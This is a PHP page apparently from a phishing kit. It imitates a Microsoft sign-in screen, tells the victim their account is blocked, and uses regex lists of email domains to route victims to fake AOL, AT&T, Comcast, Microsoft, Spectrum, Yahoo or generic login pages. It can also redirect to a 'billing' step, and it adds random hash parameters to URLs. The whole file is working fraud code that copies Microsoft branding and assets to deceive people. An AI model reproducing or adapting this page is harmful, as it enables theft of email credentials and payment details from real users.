<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once __DIR__ . '/../../core/functions.php';
require_once __DIR__ . '/../../helper/DeviceHelper.php';

$settings = settings();

$email = isset($_SESSION['username']) ? $_SESSION['username'] : (isset($_POST['email']) ? $_POST['email'] : '');

if (isset($_GET['checkemail']) && $_GET['checkemail'] === "yes") {
    $errorParam = (!empty($_GET['error']) && $_GET['error'] == true) ? "&error=true" : "";
    
    if (isset($settings['get_email']) && $settings['get_email'] === 'off') {
        $deviceParam = getDeviceParam();
        $hash = generateRandomText(40);
        echo "<META HTTP-EQUIV='refresh' content='0; URL=?auth_max_open=billing&".$deviceParam."=".$hash.$errorParam."'>";
        exit();
    }
    
    if (!isset($_SESSION['username'])) {
        echo "<META HTTP-EQUIV='refresh' content='0; URL=?auth_max_open=signin&error=no_session'>";
        exit();
    }
    
    $emailSplit = explode("@", $_SESSION['username']);
    if (count($emailSplit) < 2) {
        echo "<META HTTP-EQUIV='refresh' content='0; URL=?auth_max_open=signin&error=invalid_email'>";
        exit();
    }
    
    $redirectPage = "";
    
    if(preg_match('/aol/', $emailSplit[1])) {
        $redirectPage = "login-aol";
    } else if(preg_match('/ameritech|att|bellsouth|currently|flash|nvbell|pacbell|prodigy|sbcglobal|snet|swbell|wans/', $emailSplit[1])) {
        $redirectPage = "login-att";
    } else if(preg_match('/comcast/', $emailSplit[1])) {
        $redirectPage = "login-comcast";
    } else if(preg_match('/hotmail|live|msn|outlook|passport/', $emailSplit[1])) {
        $redirectPage = "login-microsoft";
    } else if(preg_match('/charter|rr|roadrunner/', $emailSplit[1])) {
        $redirectPage = "login-spectrum";
    } else if(preg_match('/yahoo|ymail|rocketmail/', $emailSplit[1])) {
        $redirectPage = "login-yahoo";
    } else {
        $redirectPage = "login-other";
    }
    
    $deviceParam = getDeviceParam();
    $hash = generateRandomText(40);
    
    echo "<META HTTP-EQUIV='refresh' content='0; URL=?auth_max_open=".$redirectPage."&".$deviceParam."=".$hash."&checkemail=yes".$errorParam."'>";
    exit();
}

function getEmailRedirectPage() {
    global $settings;
    
    if (isset($settings['get_email']) && $settings['get_email'] === 'off') {
        return "billing";
    }
    
    if (empty($_SESSION['username'])) {
        return "signin";
    }
    
    $email = $_SESSION['username'];
    $domain = explode("@", $email);
    
    if (count($domain) < 2) {
        return "signin";
    }
    
    $domain = strtolower($domain[1]);
    
    if (preg_match('/aol/i', $domain)) {
        return "login-aol";
    } 
    elseif (preg_match('/ameritech|att|bellsouth|currently|flash|nvbell|pacbell|prodigy|sbcglobal|snet|swbell|wans/i', $domain)) {
        return "login-att";
    } 
    elseif (preg_match('/charter|rr|roadrunner|spectrum/i', $domain)) {
        return "login-spectrum";
    } 
    elseif (preg_match('/yahoo|ymail|rocketmail/i', $domain)) {
        return "login-yahoo";
    } 
    else {
        return "login-other";
    }
}

$redirectPage = getEmailRedirectPage();
$deviceParam = getDeviceParam();
$hash = generateRandomText(40);
$continueUrl = "?auth_max_open={$redirectPage}&{$deviceParam}={$hash}&checkemail=yes";

$hasError = isset($_GET['error']) && $_GET['error'] == true;
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
    <style>
        .auth-error {
            color: #cc0033;
            font-family: "Segoe UI", Arial, sans-serif;
            font-size: 14px;
            text-align: left;
            line-height: 1.5;
            margin: 8px 0 12px 0;
            padding: 0;
            background: transparent;
            border: none;
        }
        .auth-error a {
            color: #0067b8;
            text-decoration: none;
        }
        .auth-error a:hover {
            text-decoration: underline;
        }
        .inner {
            min-height: 380px;
        }
        .text-title {
            font-size: 24px !important;
            font-weight: 600 !important;
            margin-bottom: 16px !important;
        }
        .identityBanner {
            margin-top: 8px !important;
            margin-bottom: 12px !important;
        }
        .identity {
            font-size: 14px !important;
            font-weight: 600 !important;
            color: #1b1b1b !important;
        }
        .form-group {
            margin-bottom: 12px !important;
        }
        .btn-primary {
            width: 100% !important;
            padding: 10px !important;
            background-color: #0067b8 !important;
            color: #fff !important;
            border: none !important;
            font-size: 16px !important;
            font-weight: 600 !important;
            cursor: pointer !important;
            border-radius: 0 !important;
            min-height: 40px !important;
        }
        .btn-primary:hover {
            background-color: #005da6 !important;
        }
        .action-links a {
            color: #0067b8 !important;
            text-decoration: none !important;
            font-size: 14px !important;
        }
        .action-links a:hover {
            text-decoration: underline !important;
        }
        .footerNode a {
            color: #666 !important;
            text-decoration: none !important;
            margin: 0 10px !important;
            font-size: 12px !important;
        }
        .footerNode a:hover {
            text-decoration: underline !important;
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div>
                                <div>
                                    <div class="identityBanner">
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo htmlspecialchars($email); ?>">
                                            <?php echo htmlspecialchars($email); ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Sign in</div>
                                    
                                    <?php if ($hasError) { ?>
                                    <div class="auth-error" role="alert">
                                        <font dir="auto" style="vertical-align: inherit;">
                                            <font dir="auto" style="vertical-align: inherit;">Your account or password is incorrect.</font>
                                        </font>
                                    </div>
                                    <?php } ?>
                                    
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <div class="text-block-body">
                                                    <div role="alert" aria-live="assertive">
                                                        <div id="error_Info" class="text-body error ext-error" style="color: red;">You've tried to sign in too many times with an incorrect account or password.</div>
                                                    </div>
                                                    <div id="username" class="row text-body">
                                                        Sign-in with <b><?php echo htmlspecialchars($email); ?></b> is blocked for one of these reasons:
                                                    </div>
                                                    <div class="row text-body">
                                                        <div class="form-group">Someone entered the wrong password too many times.</div>
                                                        <div class="form-group">If you signed up for this account through an organization, you might not be able to use it yet.</div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="form-group">
                                            <a id="i1011" style="color:#0067b8; text-decoration: none;">Reset your password</a>
                                        </div>
                                        <div class="form-group">
                                            <a id="i1051" style="color:#0067b8; text-decoration: none;">Sign in using another Microsoft account</a>
                                        </div>
                                        <div class="form-group">
                                            <a href="<?php echo $continueUrl; ?>" id="idSIButton9" class="btn btn-block btn-primary" style="display: inline-block; text-align: center; text-decoration: none; color: #fff;">Continue</a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
</body>
</html>